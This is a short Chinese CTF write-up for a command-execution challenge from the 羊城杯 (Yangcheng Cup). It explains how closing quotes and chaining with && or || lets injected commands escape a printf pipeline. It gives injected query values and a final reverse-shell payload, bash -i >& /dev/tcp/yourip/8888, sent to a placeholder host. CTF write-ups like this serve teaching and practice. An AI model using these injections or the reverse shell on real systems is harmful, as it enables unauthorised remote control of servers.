羊城杯的一道命令执行
前言
羊城杯已经过去很长时间了,突然兴起,想要看一下题目,记得当时肉松最后几小时发给我一个其中命令执行的代码,当时没时间看,现在复现一下
复现
1 |
|
过滤了一些东西,但实际上还是有很多可以用的命令。这里我们直接输入命令是会被当成字符串的。一开始这里面的引号配对问题我没搞清楚,有些地方惯性思维了,真实配对情况如下:

颜色相同的为一对,所以思路很清晰了,要想命令得到执行,需要先闭合引号。
?count='&&ls / &&' 这个对应的命令执行语句为 printf '' && ls/ && ''| wc -c
&&的特点就是 第一条语句为真,就接着执行第二条,以此类推。
|| 的特点 就是第一条语句为真,后面就不用执行了,除非为假,以此类推。
?count='| ls / ||' 对应的命令执行语句为 printf ''|ls / || '' | wc-c 直接把后面的 wc -c 语句给pass了。
主要就是一个闭合思路,因为这里用的exec函数,没有回显,考虑反弹shell ,最终的payload:
a'&&bash -c "bash -i >& /dev/tcp/yourip/8888 0>&1"&&'
在自己的VPS上监听8888端口监听即可。
小结
觉得不合理的地方就去本地搭环境测试一下,就会有想不到的效果。
测试Demo:

给ls 一个垃圾输入 , ls 还是可以执行。